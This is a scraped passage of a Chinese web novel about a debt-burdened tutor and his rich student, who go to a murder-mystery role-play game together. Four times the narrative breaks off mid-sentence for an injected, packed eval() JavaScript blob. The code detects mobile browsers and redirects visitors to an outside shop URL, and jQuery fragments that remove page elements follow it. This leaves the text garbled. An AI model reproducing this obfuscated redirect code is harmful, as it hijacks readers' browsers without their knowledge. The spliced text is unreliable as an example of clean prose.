蔡衍嘉带他来到厨房,指了指几乎要与墙面融为一体的“柜子”。向天问将柜门拉开,惊讶地发现,这竟是一整排大冰箱。 里面有各样蔬菜瓜果、冷鲜荤菜和袋装半成品,玲琅满目、品类齐全,不亚于一个小超市的库存。 已经过了零点,不宜耽搁太久,他便只拿出一个紫皮洋葱、几根小香葱,洗剥干净,麻利地切成小丁,又打了四个鸡蛋,一起下锅炒得金黄喷香,总共也就用了十来分钟。 蔡衍嘉在一旁看着,时不时啧舌赞叹。 菜出锅后,向天问正准备再烧一锅水、煮两份面,却见蔡衍嘉不知从哪里拿来一袋切片面包,迫不及待地用勺子把洋葱炒蛋铺在面包上,两片一夹,两眼放光地吃了起来。 “向老师,嗯,你也吃,”蔡衍嘉招呼他,“别饿着,快吃吧!” 行吧,向天问摇头笑笑,配什么吃不是吃呢,随他吧。 不大会儿功夫,两人就着面包吃掉一大盘炒蛋。 蔡衍嘉揉揉肚子,伸了个懒腰,一脸满足地说:“好棒啊,向老师,你还会做饭?太全面了!” “我以前在饭店帮厨,学过一点儿。”向天问难得露出轻松的表情。 “啊?你想当厨师吗?”蔡衍嘉问。 “也没有。我爸在人家饭店赊的账,我没钱还,只能利用假期去干活儿抵债。”向天问脸上的笑容便又消失了。 蔡衍嘉眼珠转了转,小心翼翼地问:“你爸欠了多少钱,方便让我知道吗?” 向天问垂头犹豫了一下,虽然觉得丢人,却不想遮遮掩掩、显得更不体面,便实话实说道:“总共79300。” “多少?”蔡衍嘉不敢置信似的,又问道。 向天问走到水池边,用洗盘子的流水声掩饰尴尬:“79300,在信用社办了分期,每个月最低还1700。” “嗐,我以为……”蔡衍嘉笑着,漫不经心似的摸出手机来摆弄。 桌上,向天问的手机嗡嗡震了两下。他擦干盘子放在一边,走过去一看,屏幕上竟然显示“你收到一笔转账,请及时查收。” 蔡衍嘉给他转了两笔钱,一笔五万,一笔三万。他瞪眼惊道:“你……这是干什么?” “账单分期要缴纳利息和滞纳金,等于每个月又多欠银行好几百,太不划算了。”说起这种事,蔡衍嘉显得十分老练,“我先借给你,你明天去银行办提前还款,把这笔帐清掉。” “以后你只欠我一个人的,什么时候有钱了再还。”蔡衍嘉轻描淡写地说完,又伸了个懒腰,转身往房间走。 向天问追上去:“不用,我自己还!” “是你自己还啊,又不是白送给你,你还是要还给我的。”蔡衍嘉冲他眨眨眼,“你不用觉得欠我人情,免息就当是给你的封口费吧。以后你是我的人,我的事,老爷子不用知道得那么具体。你懂我的意思吧?” “可我的工资是蔡先生发……”向天问还不至于分不清大小王。 “你的工资已经打到我卡上了。我转给你的,相当于预支你的工资,这样总行吧?”蔡衍嘉打着哈欠说,“好不容易困了,我去睡了哦。晚安,向老师。” 蔡衍嘉根本不知道,自己的草率提议给向天问带来多大的困扰。 “明天……帐清掉”这几个字对向天问而已,诱惑程度不亚于在干渴了一天的他面前放一瓶水。 可问题是装水的瓶子镶金嵌宝,上头还写着大大的“免费”二字,反而令他心生疑虑,不敢擅动。 向天问魂不守舍地回到房间,呆呆坐在床边,时不时解锁屏幕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646952|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看一眼那两条橙色的转账记录,却始终不敢点开。 他两个月工资总共三万六,蔡衍嘉给他打了八万呢,根本不是“预支”的事儿;再者,拿人手短,欠了人家蔡少这么大一个人情,往后怎么好意思拉下脸来管人家? 思来想去,经过半宿天人交战,窗外天都蒙蒙亮了,他才终于拿定主意,安下心睡了过去。 一睁眼已经快九点,睡过头了!向天问翻身下床,迅速洗了把脸,来到蔡衍嘉房门前。 抬手刚要敲门,身后竟传来蔡衍嘉的声音。 “向老师。”蔡衍嘉的笑容带着些许得意,“我吃过早饭了,比你起得还早哦!夸我。” “嗯,很好。”向天问讪讪点了点头,“你先去把昨天的错题再过一遍,我很快就到。” 季叔和周姨都已到岗,早餐是云吞面和烟熏火腿。他同这两位“同事”打了个招呼,稀里哗啦地把碗里的食物扒进肚里,就赶紧来到书房“上岗”。 蔡衍嘉正百无聊赖地转笔,见他进来,冲他挑眉道:“向老师,点点收款哦。” “心领了,真的不用。”向天问心意已决,笃定道,“我已经习惯和银行打交道,就这样慢慢还,挺好的。” 昨天想到半夜,他终于明白自己究竟是在纠结什么。 他知道蔡衍嘉说得没错,从经济的角度,向个人借钱可以省下很大一笔手续费;蔡衍嘉不缺钱,自然不会找他催债,能帮他减轻每个月定时还款的压力。 他真正担心的,是借钱这件事对他们两人关系的影响。 常听人说,朋友之间最忌讳借钱。连他爸这样的无赖都曾说过,“跟朋友借钱,迟早要翻脸。” 从懂事起,向天问就不得不为生计苦苦挣扎,从来也没有闲情逸致交朋友。这几天相处下来,他看得出,蔡衍嘉是个善良得甚至有点儿天真的好人,而且待他诚恳大方、从不带一丝异样的眼光。 他甚至隐约感觉到,蔡衍嘉也愿意和他好好相处。这样发展下去,他是不是要有一个朋友了? 这个念头令他升起别样的感动,与之相比,几万块钱的债务、肩头背负的重担,突然就显得那么轻飘飘、那么微不足道。 不能因为借钱,在他们两人之间埋下隐患;与负债相比,他更不愿意失去这个来之不易的、可能获得一段友情的机会。 蔡衍嘉自然不知道他这些曲折心思,听他说要“慢慢还”,不禁满脸诧异:“啊?银行就是靠你们这些债务人赚钱的,你这不是辛辛苦苦替银行打工吗?” 向天问摇了摇头:“我不懂这些。我现在能挣钱了,反正总有还完的一天,就这样吧。” “你知道吗?会理财比会赚钱重要。”蔡衍嘉用笔尖点着桌面,一副恨铁不成钢的惋惜神情,“不懂理财的人,再能干,也只能一辈子是穷人。” “穷人”。 就连上门催债的人,都会委婉地称他为“困难户”、“五保人员”,还是第一次有人这么直白、这么无所顾忌地把这两个字往向天问脸上拍。 12. 第12章 谈不上被刺痛,也不至于难过或生气,只是突然被这两个字惊醒,不得不放弃幻想、面对现实。 他是穷人,这一点无可置辩。即便有朝一日还清了债务,他依然是个一无所有、苦于生计的穷人。 他凭什么和蔡衍嘉这样的人交朋友?两人没有相同的经历、爱好,没有任何共同语言,如果不是为了挣钱还债,他的世界和蔡衍嘉的世界原本全无交集。 幸好他拒绝了蔡衍嘉的资助,否则在旁人看来,他不就和那个附骨之蛆Shawn是一路货色了? 还是好好儿辅导人家学习吧,别白日做梦了。向天问不禁为自己的非非之想感到自责,赶紧抽出一张真题卷递给蔡衍嘉。 “今天我们进行真题模拟,加上听力一起做。和高考一样,限时两小时。你准备好了,我随时可以开始计时。” 蔡衍嘉似乎看出他神色有变,意识到自己说错话了,脸上又挂起没心没肺的笑容:“没有说你是穷人啦!向老师这么聪明,又有毅力,将来一定会大展宏图的。不过我还是觉得,你应该考虑提前还款……” “好,我考虑。”向天问打开手机上的计时器,给蔡衍嘉看了一眼,“开始吧,我现在放听力音频。” 蔡衍嘉把试卷折成A4大小,提笔做好准备,却仍不放心似的,抬头打量着他:“向老师,你生气了?我不是那个意思……” “你专心做卷子,我就不生气。”向天问说。 本来就没生气,更何况,生不生气又有什么关系呢?人活着要操心的事已经很多了,情绪是最无关紧要的一项。 话虽如此,他的“生气”竟然很有用。蔡衍嘉一改昨天疲疲赖赖的态度,做题格外认真,连B和D的肚儿都画得分外圆。 期间蔡衍嘉时不时抬头看一眼他,像要说些什么,可只要他给出一个毫不含糊的眼神,蔡衍嘉便又乖乖埋下头去,看来还真把他昨天的话听进去了。 全神贯注之下,两个小时并不难熬。计时器叮铃铃响起时,蔡衍嘉啪地丢下笔,靠在椅背上如释重负。 向天问对照答案阅卷,心头渐渐明朗。他发现蔡衍嘉这人脑子一点儿也不笨,昨天讲过的几个知识点今天都没有再错;还能举一反三,把“感谢信”模板里的句型和高级词汇化用到今天的“道歉信”里。 各项分数统计完毕,他默默心算总分。蔡衍嘉则在一旁紧张地抖着腿,嘴里不停嘟囔:e on,e on,e on…… ” 反复核对后,向天问用红笔在试卷首页写下总分——115。 “Yes!”蔡衍嘉从椅子上蹦起来,两手抱着头,在诺大的书房里来回转圈圈。 见他开心成这样,向天问也受到感染,不由得提起嘴角。 “向老师,你说我们的目标是120分,对吗?”蔡衍嘉冲到他面前兴奋道,“那我现在只差5分了?” “没错。但120只是下限,你英语基础好,提分容易,每多考一分,就能给其他不擅长的科目减轻一分的压力。”向天问也感到十分振奋,“不过你能考115,真是很大的惊喜,这说明你的高考成绩并不能反映真实水平,实际情况比我想得要好很多。” 蔡衍嘉小鸡啄米似的连连点头:“对对,我高考没发挥好!” 向天问心想,可不嘛,高考前一天人还在英国,累得都在考场上睡着了,能发挥好吗?但有了进步就应该鼓励,过去的就让它过去吧,不能打击人家的积极性。 “错题没有反复出现,说明你接受能力很强。”向天问认真分析道,“而且你今天做题的状态很好,说明你是能静下心来解决难题的,潜力很大。” 可蔡衍嘉接下来的反应,就让人夸不出口了。 “好耶!那下午可以休息了吧?”蔡衍嘉眨巴着大眼,满脸期待,“出去玩,放松一下呗!劳逸结合嘛,向老师?” 别人三天打鱼两天晒网,这人打了一天鱼就要晒网?向天问无语极了,拎起试卷道:“还没订正呢。这张卷子又暴露出你很多语法知识上的错漏,今天至少要解决掉一部分,再背一篇范文……” 说着,却见蔡衍嘉的眉头渐渐拧紧,漂亮的眼睛也因失望光彩尽失,甚而脸上又浮现出那种破罐子破摔的神情。 向天问心中暗叫不好,这下不让他出去玩,他也学不进去了。 万里长征才刚刚开始,总得给人家一段时间适应这种学习强度吧。向天问努力说服自己,终于无奈地点了点头:“行吧,下午出去玩,晚上回来背范文,和昨天一样,背不完……” 话音未落,蔡衍嘉已经从椅子上蹦了起来。跑出门的一刻,又回头说:“向老师,来衣帽间,我帮你找一件衣服。” 穿旧军训服出门的确会给蔡少爷丢人,向天问摇头道:“你自己去吧,我在家整理资料。别玩得太晚,尽量回来吃晚饭。” “不是吧,向老师!”蔡衍嘉半个身子探回门里,满脸着急,“你不陪我去,我一个人怎么玩啊?” 向天问心想,你家老爷子雇我来,是让我辅导你功课,不是让我陪你玩的,便只顾低头整理桌面上的纸笔,不再搭话。 蔡衍嘉回到他身旁,围着他一圈圈地绕,“向老师”长、“向老师”短地在他耳边吵吵。 软磨硬泡了好一会儿,见他还是不为所动,只得说出实话来:“哎呀向老师,你看,我都跟人约好了!你不去就差一个人,这车拼不起来,害得别人也玩不成了!” 向天问不明白这是玩什么,怎么还需要“拼车”。仔细看蔡衍嘉递上来的手机,屏幕上是一个微信群,群名里有今天的日期和13:00等字样,聊天记录里是好几个陌生人在说一些他看不懂的话。 向天问这才意识到,这货分明早就打定主意下午出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646953|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩,刚才那么认真地做题,根本不是因为听了他的话,就是为了下午出去玩! “不去。”他摇了摇头,“我不懂这是干什么……” “剧本杀啊,向老师!”蔡衍嘉解释道,“就是每个人一个剧本,在故事里扮演不同的角色,有的人是凶手,有的人是侦探。你要阅读自己的剧本、听其他人的发言,从中找出线索,推理出谁是凶手、杀人的动机和手法是什么。” “其实就是大型阅读理解、现场做题,你肯定很擅长的。”蔡衍嘉抱住他一边胳膊摇晃,“求你了,向老师,我都约好了,临时放人鸽子很没品诶!” 又是城里人用来打发时间的什么新奇玩意儿,一听就劳民伤财的。向天问仍只是摇头。 没想到,蔡衍嘉突然扑通一声单膝跪地,两手抱住他一只手,抵着自己额头哀求道:“Please, please, Daddy, Plea——se!” 这是干什么?!向天问窘得直冒冷汗,赶紧把手抽回来背在身后。 这货心思早飞走了,硬把人拴在这儿,学也学不进去,还搞得两个人相看两厌,何必呢?跟着去,还能盯着他、让他早点儿回来。 向天问无可奈何,只得松口:“吃过午饭再去。今天陪你出去玩,接下来一周都不能再玩了。” 蔡衍嘉起身嗷嗷叫着,扑上来给他一个大大的拥抱。向天问尴尬无比,浑身僵硬、站得笔直。 吃完饭,向天问被蔡衍嘉拉进比普通人家客厅还大的衣帽间,又因环绕四面墙的玻璃门衣柜吃惊了一回。 蔡衍嘉指着角落里一个整理箱说:“那些是品牌赠送和配货拿来的,不是我的style,都不要了。向老师你看看有没有喜欢的。” 向天问打开一看,都是没剪过标签、甚至连包装都没拆开过的新衣服。除了个别款式过于花里胡哨的,大多数都能穿得出去。 “这些都不要了吗?”他看见标签上的价格,没有一个不是四位数,不禁暗暗咋舌。 蔡衍嘉一边换衣服,一边轻描淡写道:“嗯,都不要了,换季的时候会有收纳师来处理掉。你不肯买新的,就挑两件随便穿穿吧。” 什么叫“朱门酒肉臭,路有冻死骨”,向天问算是体会到了。虽然不是他的东西,他却发自内心地感到肉疼,舍不得它们被“处理掉”。 “要不……给我吧?”他厚着脸皮说,“这么好的衣服,扔了多可惜。” 蔡衍嘉大手一挥:“好啊,都给你。”又指指两人身后鞋柜顶层的一排鞋盒,“那些也不要了。向老师也穿44码,对吧?喜欢哪双你自己拿。” 向天问满眼心疼地回头看了一眼鞋柜,心想,一次救不了那么多,先把这箱衣服保下来再说吧。 于是他搬起整理箱就往自己房间走,却没留意到在他身后,蔡衍嘉目光一闪,露出一抹不无得意的狡黠微笑。 13. 第13章 向天问从整理箱里翻出一件胸前印着一行字母的灰色T恤,明明是件刚拆开的新衣服,却不知为何看上去旧旧的,怪不得蔡少爷不喜欢。 搭配上一条毫无特色的直筒牛仔裤,他站在镜子前大松一口气。挺好,完全看不出这一身价值一万多。 他来到餐厅,看见蔡衍嘉也换了身行头,头发也打理过了,呈现出一种精心设计的凌乱感。 蔡衍嘉穿着过于宽大的牛仔短袖衬衫和一条白短裤,两条又直又长的小腿分外显眼,脚上则是一双白袜和厚底白拖鞋。 “我们下午去打本,吃完饭就出发。”蔡衍嘉对老季说,“还是上次那家‘迷雾森林’。” 老季点点头:“好的,衍嘉少爷。晚饭就不回来吃了?” “嗯,不知道什么时候结束。你今晚也不用来了,向老师会做饭。”蔡衍嘉吩咐道。 老季答应一声,看了一眼向天问,目光中满是感激。 迷雾森林是一家集剧本杀、桌游与密室逃脱于一体的沉浸式体验场馆,位于一座老旧商场的负一层。 两人一走进略显阴森的前台大厅,几个穿着奇装异服、长袍马褂的年轻人立刻围了上来。 “蔡少,今天打什么本?月啸山庄?”黄毛店长惊讶道,“诶,怎么想起来打推理本的?你不是嫌费脑子、盘不动吗?” 蔡衍嘉嗤笑道:“哪是盘不动?我是怕我一个人带不动你们这些傻子!今天我和我学霸哥们儿来带飞你们。” 向天问不知道他在得意什么,小声提醒道:“我没玩过,我不会。” “那怎么了?你智商碾压、降维打击,把他们按在地上磨成哑光的!”蔡衍嘉两手插兜,瞪着眼放大话。 黄毛把他们带进一间灯光昏暗的房间,木桌木椅、墙上的字画无不透露出一种假模假式的仿古中式风。 “今天我们体验的这个剧本,名叫月啸山庄,属于民国背景的豪门系列吃瓜推理本,是一个PVP暗凶本。也就是说,凶手就在我们当中,但ta的本里可能没写明,凶手也要和大家一起努力还原出事情的真相……” 主持人讲的这段话,向天问只听懂了五成,心中不免忐忑,只希望能快点把文本发下来,他好做“阅读理解”。 主持人却说,选本之前要做一个小测试,根据测试结果分发角色,然后发给他们每人一张纸,上面是三个问题。 第一题,亲情、友情、爱情,你认为哪个最重要,请按照你心中的重要次序给它们排序。 第二题,假如你要暗中做一件非常冒险、可能影响你自己安危的大事,你会选择和你最重要的人分享这个秘密吗? 第三题,假如你明知深爱的人离开你会更好,你会为了爱人的幸福,选择放手让ta走吗? 向天问想了几秒,立刻下笔作答。 他把问卷交给主持人,这才发现另外五个人都还在闷头思索,个个一脸纠结的样子。 过了好几分钟,这群“傻子”才终于交齐答卷。主持人看过后,给每个人发了一本小册子。 向天问拿到的角色,是一个富商家族的病秧子大少爷。因他患有肺痨、命在旦夕,家里给他娶了个八字旺夫的穷苦姑娘冲喜。 由于女性玩家不够,蔡衍嘉主动反串,拿到天真烂漫的小妹一角。 小妹聪明漂亮,到了成婚的年纪,来说亲的人踏破门槛。小妹却一心想像二哥一样外出求学、游历世界。 父母当然不同意,她内心苦闷,只能去和一向最疼爱她的大哥倾诉,还把自己攒钱离家出走的计划告诉大哥。为防备下人告密,她把偷偷攒的钱寄存在大哥这边。 蔡衍嘉主动与向天问咬耳朵私聊,彼此互通了消息。可一转眼,蔡衍嘉就在公聊环节爆料,说他发现大少奶奶与留洋回来的二少爷有一腿! “人在家中坐,绿帽天上来。”向天问还以为蔡衍嘉与他一边,结果发现自己竟是个大冤种,心中不免窝火。可大家吃瓜吃得很开心。 到了推理环节,要解决的问题是最近家里账房一直丢钱,谁偷的。主持人发完线索后,向他们打招呼:“不好意思,我还没吃午饭,你们先盘这part,我吃个饭。” 线索里有每个人在不同时刻的动线和所见所闻,大家把自己知道的信息分享出来后,向天问立刻意识到他们所处的山庄是个环形建筑;又画出一副立体示意图,把每个人所处的房间位置标注上去。 “有时间单独行动去账房的,只有大少奶奶一个人。”向天问报出答案,破解这个谜题只用了五分钟。 此时“啪”的一声,帘子后面传来主持人掰开一次性筷子的声音。 “不是,你们这也太快了吧!”主持人走进来,震惊又无奈,“我刚把外卖拿来,一口还没吃!” 蔡衍嘉得意地眉飞色舞,问道:“之前你带的几车,这一part要盘多久?” “最快的四十分钟,慢的要一个小时左右。” 主持人吃不成饭了,只好继续走流程,开始在白板上画他们刚刚盘出来的人物关系图。 向天问看着白板上那几个虫子爬似的丑字,心想,这主持人看起来和他们年纪差不多大,八成也是个语文不及格的落榜生,于是站起来说:“你吃饭吧,我来板书。” 主持人犹豫着把笔递给他,一边吃炒面,一边看着他把二十几个有名有姓的人物关系,用树状图画得明明白白;男性角色和女性角色的名字,竟然还是用不同字体写的。 “我说什么来着,哑光不哑光?”蔡衍嘉搂住回座的向天问肩膀,摇头晃脑地不知道在得瑟什么。 既然钱是大少奶奶偷的,蔡衍嘉便带节奏说大少奶奶想攒钱跟二少爷私奔,大家都没有异义。 可下一幕,二少爷竟被深夜潜入府中的蒙面刺客杀死了。大家又认为肯定是大少爷买凶干的,大少奶奶也说自己偷来的钱最近确实丢了。 这个环节比较难盘,向天问的角色视角受限,剧本里没什么有用的信息。他猜想凶手一定会故意隐瞒线索,就要求每个人把自己昨晚的行踪都详细地说一遍,想听听有什么破绽。 于是大家又分享了一轮,可他还是觉得,似乎有很重要的细节被忽略了。 主持人吃完饭,见他们卡住了,提醒道:“小妹好好看看自己的本,关键信息在你那儿。” “啊?”蔡衍嘉收起吊儿郎当看戏的嘴脸,手指着自己的本嘟囔道,“不会呀,我都分享出来了呀!” “是吗?我没听到你说,你再好好看看呢?”主持人说,“你不把那句话讲出来,他们不可能盘对。” 蔡衍嘉倍感压力,抓耳挠腮看了许久,终于认怂,把本推给向天问:“你帮我看看?我觉得我都说了呀! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646954|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 向天问接过他的本快速扫视一遍,然后缓缓扭头直盯着他:“你就是凶手。” “什么?不可能!”蔡衍嘉一脸错愕,“这不是写了吗?我睡下了!” “前面一句。”向天问伸手指着那行字,念道,“‘你脱下这身令你一看就感到压抑和束缚的衣服,上床睡了。’” “前面你分享过,‘你向往闺阁外桃红柳绿的大千世界,整日打扮地娇艳异常,从不像你的嫂嫂那样总穿着沉闷老气的颜色。” “什么衣服会‘令你一看就感到压抑和束缚’?黑色的,紧身的,夜行衣。你就是那个‘刺客’。”向天问分析完毕,大家纷纷倒抽一口凉气。 “牛啤!”主持人竖起大拇指,“没错,小妹才是真正的凶手。” 蔡衍嘉还懵着呢:“不是,我真没注意这句!我说向老师,我刚才分享的时候说的话,你一个字不拉都记住了?” “死者”二少爷鼓掌道:“好好好,还演是吧?蔡少演技可以的,差点儿把学霸哥都骗了。” “哈哈哈,惭愧惭愧,我要是直说,就不好玩了嘛!”蔡衍嘉居然又得瑟起来。 向天问嘴角挂着看破不说破的笑容,他和蔡衍嘉心里都清楚,蔡衍嘉根本没看出来自己是凶手,连本都没读懂。 怪不得语文考十几分,他暗暗叹了口气,除了吃瓜,这货真是啥也不知道。 故事进行到这里愈发明朗了。家里的生意需要一个懂洋文、有见识的人接班,大哥横竖出不了门,小妹觉得杀掉二哥,家里就不得不培养她、让她出去念书。此外,她也委实看不惯大嫂与二哥偷情,想替大哥出一口气。 可下一幕又出乎所有人的意料。二少爷死后,老爷宁可过继来一个远房侄儿当养子,也不让小妹出去念书,还以“赎罪”为由,强迫她嫁给生意伙伴的暴虐儿子。 小妹受不了打击,加上杀人时受到惊吓,精神有些错乱,被关在闺房里不准外出,下人每天通过一个一尺见方的窗口给她送餐送水。 大哥心疼她,却无力救她出来,只得每天佝偻着身子,坐在送餐口外和小妹聊天,关心她、开导她。 天冷下雪,肺痨在身的他冻得直咳血,兄妹俩隔着小小的窗口互相苦劝。 接下来的一幕小剧场中,向天问要和蔡衍嘉在众人面前演出这感人的一幕。 “我没事,月儿,咳咳咳,咳咳咳……哥哥不知道还能支持多久,想多陪陪你,多看一眼是一眼,咳咳咳……你快吃吧,别又放凉了。就算不为你自己,你也得活到给哥哥摔盆带孝的那天……你穿白色该多美呀,哥哥好想看看,可惜……”向天问念出剧本上的台词,尴尬地头皮发麻。 对面蔡衍嘉却十分入戏,眼圈都红了:“哥,我穿给你看,我穿给你看!你回去烤着火,明儿再来。婚纱也是白的,我做一件婚纱,穿给你看……你先回房歇着吧,好不好?” “大少奶奶”激动地捶桌尖叫:“啊——嗑死我了!怎么感觉你们才是一对?我做主,你们原地结婚!” “这虐恋味儿太冲了。蔡少果然还是情感本玩家,这也太沉浸了……” 下面的台词更加奇怪,向天问正盯着剧本犯难,蔡衍嘉竟拉过他的手抹了一把自己眼角的泪。 向天问顿时浑身一僵,感觉像有一道电流击穿心脏,鸡皮疙瘩都起来了。 14. 第14章 “可月儿穿上婚纱,哥哥却不能站在你身侧……”向天问嘟嘟囔囔念着剧本上的台词,臊得满面通红。 这不是兄妹俩吗?这不对吧?他扭捏着不敢抬头,蔡衍嘉却始终拉着他手、含情脉脉地看着他:“生不能同衾,死却要同穴。哥哥离开那日,月儿必定追随……” 背景中突然传来一声严厉的呼喊:“你们两个这是干什么?罔顾人伦、有辱门楣!来人,把这不肖子给我拖下去!” 全场灯光熄灭,黑暗中有人引导向天问回到座位上,他这才长舒一口气。 当灯光再次亮起时,主持人又拿来一套剧本发给他们,上面写着,小妹昨夜被人勒死在闺房中,门窗完好,还有下人彻夜值守,这是个密室杀人案件。 根据主持人发的下人口供,结合向天问一早盘出来的房间位置图,大家发现,夜里唯一有机会去小妹房间的,又只有大少奶奶一个人。 可向天问的本中明明写着,他夜里咳喘不止,妻子一直在照顾他。更诡异的是,这么重要的不在场证明,剧本却要求他隐瞒、不让他为妻子洗脱嫌疑。 他想起主持人在游戏开始时说的那些话: “排除一切不可能的情况后,剩下的那种情况即便再难以置信,那也是事实。” “凶手可能不知道自己是凶手,需要和大家一起还原出事情的真相。” 一个离奇又扭曲的可能性,在他心中浮现,这块看似不可能存在的拼图,恰恰能完美地补全这个有悖常理的故事。 “小妹是自杀的。”向天问说出这一案的谜底,“她心疼大哥,只要她死了,大哥就不用每天挨冻来陪她。于是她自杀,但伪装成他杀,栽赃给大少奶奶。一旦大少奶奶被休,哥哥就能再娶一个好女人了。” 主持人点点头,问蔡衍嘉:“小妹,你自己说,还是我来?” “没错,是我。这段剧本里是直给的……”蔡衍嘉说出小妹如何用冰块、火盆和房顶的风扇叶片制造机关,勒死自己。的确如向天问猜想的那样,动机是用自己的死,最后再帮大哥一次。 答案揭晓后,房间又陷入一片黑暗。阴森的背景音乐烘托下,一个带着哭腔的男声凄惨自述,迎来最后的反转。 其实向天问已经猜到了,他扮演的大哥才是隐藏在一切背后的真凶。是他暗示小妹杀死二哥就有机会出去上学,也是他在老二死后建议父亲把侄儿过继来继承家业。 而他做这一切的目的,就是把小妹永远留在家里、留在他身边。他宁可害小妹成为杀人凶手,甚至把小妹逼疯,也不想让她离开。 可他没有料到,小妹最终竟为了他,选择走上绝路。 就这样,原本要7个多小时的本,他们不到6个小时就盘完了。 “这个本我开过二十几车,目前你们这车是最快的。”主持人说。 蔡衍嘉的尾巴都要翘到天上去了,乐颠颠地直呼“好玩”,说“盘得真爽”。 “大少奶奶”笑道:“你盘什么了?全靠演技帮你‘哥’忽悠我们罢了。” “哈哈,角色需要,角色需要。”蔡衍嘉冲向天问飞眼儿道,“不过我‘哥’运气真好,第一次打本就拿到C位凶手本。Beginner’s luck, right?” 主持人却说:“这可不是凭运气,蔡少你忘了?我是根据你们填的问卷发本。” “啊!”蔡衍嘉恍然吃了一惊,“对呀!向老师,你第三题填了‘否’!你不会为爱人的幸福选择放手!” “天呐!真看不出来,浓眉大眼的,你居然是个病娇疯批!”蔡衍嘉用肩膀拱了拱向天问,众人笑作一团。 向天问不懂自己的选择有什么好奇怪的。他看到这道题的时候想,如果两个人真心相爱的话,那么在一起才会“幸福”啊,分开了有什么“幸福”可言? 可他看出,好像大多数人都和他的选择不一样,不免心虚,只好说:“我以为不重要,瞎选的。” 正聊着,黄毛店长推门探头进来,冲蔡衍嘉道:“蔡少,你们结束了?正好。今天太忙了,店里人手不够,我这儿差两个npc,帮我客串一下?” 蔡衍嘉爽快答应,拉着一头雾水的向天问,跟店长去更衣间。 店长拿来两套古装让他们换上:“离人梦那个本,蔡少你打过的。花魁那场,你们演两个竞价的大官人。举一次牌子加十两,如果玩家跟你们杠上了,你们也别让着,反正就是往上喊,最好把他们惹急眼、吵起来。” “知道知道,我打过,上回那个npc喊到三千两呢,真给我气着了。”蔡衍嘉兴致很高的样子,却又话锋一转,“那我们那车怎么说?给我们打几折?” 店长笑道:“嗐,蔡少还在乎这点儿小钱吗?这样吧,你们两个人,二免一,行吗?” 向天问这才听明白,他们是要去别的剧本里客串当演员,以换取自己玩的那场优惠价。二免一,相当于五折,那是相当划算了。 于是两人来到另一个风格更华丽的仿古房间,参与竞拍台上搭着纱盖头的古装女孩儿。 蔡衍嘉摇着扇子,把一个涎皮好色的地主家傻儿子演得惟妙惟肖;向天问则一言不发,面无表情只是一味举牌子。 没过多久,果然吵起来了。但不是玩家和他们两个吵,是台上的“花魁”和台下想营救她的玩家吵起来了。 “你别烦!婚约作废,你不用救我了,我就要卖给这个‘高冷霸总’大官人!”姑娘指着向天问嚷道。 蔡衍嘉笑得不行,还不忘拱火:“为什么不卖给我?我比他豪!要不同时卖给我们两个?包你一夜暴富啊姑娘!” 台下的“未婚夫”玩家气得摔了手上的牌子,骂骂咧咧过来揪蔡衍嘉领子。 任务达成,主持人赶紧cue下一幕,把他们两个请出去。 回到更衣室,向天问一边解身上的袍子一边问:“我们那个本,一个人多少钱?” “168,我有八折卡,算下来130吧。”蔡衍嘉说。 等于客串了十几分钟,一个人就挣了65块。向天问暗自惊叹这钱来得好容易,于是又问:“那假如我不打本,只来当npc,可以吗?” 蔡衍嘉“噗嗤”一声笑了:“向老师你想什么呢?人家也不是天天差人,这是刚好赶上了。你就这么想赚钱啊?” 向天问有些不好意思,赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646955|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧把衣服挂好,抢先一步走了出去。 店长站在门口和他打招呼:“帅哥第一次来?太厉害了,直接刷新纪录。来,在推土机榜上留个名吧。”说着递给他一支彩笔,指了指墙上一面玻璃板。 上面密密麻麻写着很多剧本的名字,每个剧本下方都有一排人的签名,应该是每个本最快通关的玩家。 《月啸山庄》下面的空位已经擦干净,向天问不好拒绝,便替蔡衍嘉写下“Vincent”,想了想,又在后面补了个“向”字。 